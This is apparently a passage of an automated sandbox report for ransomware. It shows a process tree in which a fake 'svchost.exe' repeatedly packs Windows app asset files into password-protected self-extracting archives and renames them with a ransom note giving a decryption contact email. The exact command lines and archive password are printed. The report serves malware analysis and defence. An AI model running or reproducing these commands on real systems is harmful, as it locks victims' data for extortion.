                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedMedTile.scale-200_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedMedTile.scale-200_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedMedTile.scale-200_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedMedTile.scale-200_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSmallTile.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSmallTile.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSmallTile.scale-200_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSmallTile.scale-200_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSmallTile.scale-200_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSmallTile.scale-200_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSplash.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSplash.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSplash.scale-200_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSplash.scale-200_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSplash.scale-200_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedSplash.scale-200_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\splashscreen.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\splashscreen.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square150x150Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square150x150Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square310x310Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square310x310Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square44x44Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square44x44Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square71x71Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Square71x71Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Wide310x150Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-125_8wekyb3d8bbwe\images\Wide310x150Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
